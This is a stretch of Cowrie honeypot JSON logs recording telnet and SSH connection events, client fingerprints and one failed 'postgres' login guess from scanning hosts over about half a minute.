{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":55010,"dst_ip":"10.17.0.5","dst_port":23,"session":"06271f2cc51a","protocol":"telnet","message":"New connection: 45.63.42.31:55010 (10.17.0.5:23) [session: 06271f2cc51a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:37.892688Z"}
{"eventid":"cowrie.session.closed","duration":30.599060773849487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:38.151904Z","src_ip":"202.91.32.11","session":"64e3dc844a7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46042275428772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:38.274621Z","src_ip":"202.91.32.11","session":"632224415f76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":48824,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c191bc1e10f","protocol":"telnet","message":"New connection: 202.91.32.11:48824 (159.203.135.109:23) [session: 0c191bc1e10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:38.353860Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":48826,"dst_ip":"159.203.135.109","dst_port":23,"session":"488a7e8bdc06","protocol":"telnet","message":"New connection: 202.91.32.11:48826 (159.203.135.109:23) [session: 488a7e8bdc06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:38.422957Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":48828,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a1825b083bb","protocol":"telnet","message":"New connection: 202.91.32.11:48828 (159.203.135.109:23) [session: 6a1825b083bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:38.441580Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":48838,"dst_ip":"159.203.135.109","dst_port":23,"session":"a446cc41bc4b","protocol":"telnet","message":"New connection: 202.91.32.11:48838 (159.203.135.109:23) [session: a446cc41bc4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:38.533985Z"}
{"eventid":"cowrie.session.closed","duration":31.322896003723145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:38.858601Z","src_ip":"202.91.32.11","session":"d0264a5b60c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.042908191680908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:39.039491Z","src_ip":"202.91.32.11","session":"eeb60a249891","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3191556930542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:39.053839Z","src_ip":"202.91.32.11","session":"e0a3e10db2b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.426778078079224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:39.437113Z","src_ip":"202.91.32.11","session":"de92bc9dea06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.764096975326538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:40.220613Z","src_ip":"202.91.32.11","session":"e81491f3aa5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":54304,"dst_ip":"10.17.0.5","dst_port":23,"session":"2961b2fb82b5","protocol":"telnet","message":"New connection: 45.63.42.31:54304 (10.17.0.5:23) [session: 2961b2fb82b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:40.559504Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":48846,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d90d09ef87f","protocol":"telnet","message":"New connection: 202.91.32.11:48846 (159.203.135.109:23) [session: 8d90d09ef87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:40.880484Z"}
{"eventid":"cowrie.session.closed","duration":31.788248538970947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:40.886337Z","src_ip":"202.91.32.11","session":"59aa302c96d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.698435068130493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:41.271372Z","src_ip":"202.91.32.11","session":"010e3aa577fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":48118,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d1327d2dc7e","protocol":"ssh","message":"New connection: 78.134.49.171:48118 (159.203.135.109:22) [session: 1d1327d2dc7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:42.213068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:42.217839Z","src_ip":"78.134.49.171","session":"1d1327d2dc7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:42.328355Z","src_ip":"78.134.49.171","session":"1d1327d2dc7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"11","message":"login attempt [postgres/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:42.789138Z","src_ip":"78.134.49.171","session":"1d1327d2dc7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.638831853866577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:43.036947Z","src_ip":"202.91.32.11","session":"2911cece3771","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.766378164291382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:43.428201Z","src_ip":"202.91.32.11","session":"195b1fab3982","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54236102104187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:43.476899Z","src_ip":"202.91.32.11","session":"e3c329a506c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.529094696044922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:43.485117Z","src_ip":"202.91.32.11","session":"56b78141d59c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":45726,"dst_ip":"159.203.135.109","dst_port":23,"session":"45dbb38c099b","protocol":"telnet","message":"New connection: 202.91.32.11:45726 (159.203.135.109:23) [session: 45dbb38c099b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:43.755056Z"}
{"eventid":"cowrie.session.closed","duration":31.78994917869568,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:43.816706Z","src_ip":"202.91.32.11","session":"5e088afc9d9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:43.898805Z","src_ip":"78.134.49.171","session":"1d1327d2dc7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":45738,"dst_ip":"159.203.135.109","dst_port":23,"session":"df40691a6997","protocol":"telnet","message":"New connection: 202.91.32.11:45738 (159.203.135.109:23) [session: df40691a6997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:44.761949Z"}
{"eventid":"cowrie.session.closed","duration":30.380536556243896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:46.226370Z","src_ip":"202.91.32.11","session":"3353775c26ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":38158,"dst_ip":"10.17.0.5","dst_port":23,"session":"da26b6c37230","protocol":"telnet","message":"New connection: 45.63.42.31:38158 (10.17.0.5:23) [session: da26b6c37230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:46.498037Z"}
{"eventid":"cowrie.session.closed","duration":30.66504979133606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:46.603716Z","src_ip":"202.91.32.11","session":"524d6ea53109","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":45752,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0ae32e379d9","protocol":"telnet","message":"New connection: 202.91.32.11:45752 (159.203.135.109:23) [session: d0ae32e379d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:47.162217Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":45754,"dst_ip":"159.203.135.109","dst_port":23,"session":"05c715b574b3","protocol":"telnet","message":"New connection: 202.91.32.11:45754 (159.203.135.109:23) [session: 05c715b574b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:47.409490Z"}
{"eventid":"cowrie.session.closed","duration":31.17992353439331,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:47.514037Z","src_ip":"202.91.32.11","session":"879c116d93d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.358930587768555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:47.923920Z","src_ip":"202.91.32.11","session":"e5e5efca8a28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25147771835327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:48.000784Z","src_ip":"202.91.32.11","session":"545449866ead","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.556130170822144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:48.261905Z","src_ip":"202.91.32.11","session":"d69a3decec90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":47894,"dst_ip":"10.17.0.5","dst_port":23,"session":"b075886f21ba","protocol":"telnet","message":"New connection: 45.63.42.31:47894 (10.17.0.5:23) [session: b075886f21ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:49.467398Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":45768,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4dccca55f7e","protocol":"telnet","message":"New connection: 202.91.32.11:45768 (159.203.135.109:23) [session: f4dccca55f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:49.842921Z"}
{"eventid":"cowrie.session.closed","duration":30.551397562026978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:50.089831Z","src_ip":"202.91.32.11","session":"7231ad71503b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63754367828369,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:50.245363Z","src_ip":"202.91.32.11","session":"2e5c9700e8e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":45780,"dst_ip":"159.203.135.109","dst_port":23,"session":"36830446a06d","protocol":"telnet","message":"New connection: 202.91.32.11:45780 (159.203.135.109:23) [session: 36830446a06d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:50.276252Z"}
{"eventid":"cowrie.session.closed","duration":35.30442976951599,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:51.341076Z","src_ip":"45.63.42.31","session":"7d3bdea9d842","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23411750793457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:51.393677Z","src_ip":"202.91.32.11","session":"a15d1d9e04d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":45790,"dst_ip":"159.203.135.109","dst_port":23,"session":"561055f02d50","protocol":"telnet","message":"New connection: 202.91.32.11:45790 (159.203.135.109:23) [session: 561055f02d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:51.406924Z"}
{"eventid":"cowrie.session.closed","duration":30.8690505027771,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:51.554062Z","src_ip":"202.91.32.11","session":"74fabfabc352","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29001021385193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:52.158024Z","src_ip":"202.91.32.11","session":"1513951288d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.26031827926636,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:53.394789Z","src_ip":"45.63.42.31","session":"f4b5258d15ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85222601890564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:53.405448Z","src_ip":"202.91.32.11","session":"81502708c8db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.570944786071777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:54.754951Z","src_ip":"202.91.32.11","session":"e37ae38e99b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.289958238601685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:54.908131Z","src_ip":"202.91.32.11","session":"405625082975","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.22542405128479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:55.076626Z","src_ip":"202.91.32.11","session":"df0be0b89e94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":37498,"dst_ip":"159.203.135.109","dst_port":23,"session":"5af748f51843","protocol":"telnet","message":"New connection: 202.91.32.11:37498 (159.203.135.109:23) [session: 5af748f51843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:55.573771Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":37512,"dst_ip":"159.203.135.109","dst_port":23,"session":"931f9b9a6f99","protocol":"telnet","message":"New connection: 202.91.32.11:37512 (159.203.135.109:23) [session: 931f9b9a6f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:55.820396Z"}
{"eventid":"cowrie.session.closed","duration":31.76033878326416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:55.900470Z","src_ip":"202.91.32.11","session":"b9ad4e8de5fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.61685371398926,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:55.996485Z","src_ip":"45.63.42.31","session":"d61509d36035","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":37518,"dst_ip":"159.203.135.109","dst_port":23,"session":"e562a7a4d021","protocol":"telnet","message":"New connection: 202.91.32.11:37518 (159.203.135.109:23) [session: e562a7a4d021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:56.489372Z"}
{"eventid":"cowrie.session.closed","duration":30.52585220336914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:57.135048Z","src_ip":"202.91.32.11","session":"79340aa3331f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85217308998108,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:57.147576Z","src_ip":"202.91.32.11","session":"377fe259f9b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":37528,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c673199da67","protocol":"telnet","message":"New connection: 202.91.32.11:37528 (159.203.135.109:23) [session: 7c673199da67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:57.223447Z"}
{"eventid":"cowrie.session.closed","duration":31.167982816696167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:58.334334Z","src_ip":"202.91.32.11","session":"6ebda46d5489","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.072489261627197,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:58.355590Z","src_ip":"202.91.32.11","session":"424f895e50df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.199026346206665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:58.456702Z","src_ip":"202.91.32.11","session":"b7af839fa478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":37530,"dst_ip":"159.203.135.109","dst_port":23,"session":"7aaf957297e6","protocol":"telnet","message":"New connection: 202.91.32.11:37530 (159.203.135.109:23) [session: 7aaf957297e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:59.176670Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":37534,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d402c6381ba","protocol":"telnet","message":"New connection: 202.91.32.11:37534 (159.203.135.109:23) [session: 4d402c6381ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:59.368463Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":37550,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cb01f6ee171","protocol":"telnet","message":"New connection: 202.91.32.11:37550 (159.203.135.109:23) [session: 2cb01f6ee171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:59.624680Z"}
{"eventid":"cowrie.session.closed","duration":30.772381067276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:00.170641Z","src_ip":"202.91.32.11","session":"6d970979319e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":37566,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbf985050eba","protocol":"telnet","message":"New connection: 202.91.32.11:37566 (159.203.135.109:23) [session: dbf985050eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:00.424352Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":37580,"dst_ip":"159.203.135.109","dst_port":23,"session":"c29709364e93","protocol":"telnet","message":"New connection: 202.91.32.11:37580 (159.203.135.109:23) [session: c29709364e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:01.024770Z"}
{"eventid":"cowrie.session.closed","duration":31.531221866607666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:01.625352Z","src_ip":"202.91.32.11","session":"9b548d0e64df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":37584,"dst_ip":"159.203.135.109","dst_port":23,"session":"2639fb62e7fa","protocol":"telnet","message":"New connection: 202.91.32.11:37584 (159.203.135.109:23) [session: 2639fb62e7fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:01.808729Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":37590,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6bbc5cc6698","protocol":"telnet","message":"New connection: 202.91.32.11:37590 (159.203.135.109:23) [session: d6bbc5cc6698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:02.423048Z"}
{"eventid":"cowrie.session.closed","duration":32.62478423118591,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:02.632066Z","src_ip":"202.91.32.11","session":"3586a47d258a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":37600,"dst_ip":"159.203.135.109","dst_port":23,"session":"628eab4c446c","protocol":"telnet","message":"New connection: 202.91.32.11:37600 (159.203.135.109:23) [session: 628eab4c446c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:02.670649Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":52756,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a6181248da2","protocol":"telnet","message":"New connection: 202.91.32.11:52756 (159.203.135.109:23) [session: 6a6181248da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:02.791442Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":52764,"dst_ip":"159.203.135.109","dst_port":23,"session":"109e32d1341e","protocol":"telnet","message":"New connection: 202.91.32.11:52764 (159.203.135.109:23) [session: 109e32d1341e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:03.361830Z"}
{"eventid":"cowrie.session.closed","duration":32.81466770172119,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:03.580556Z","src_ip":"202.91.32.11","session":"58ca635a464f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":35622,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd07a135564a","protocol":"ssh","message":"New connection: 107.173.55.151:35622 (10.17.0.5:22) [session: bd07a135564a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:03.967691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:03.973525Z","src_ip":"107.173.55.151","session":"bd07a135564a","protocol":"ssh"}
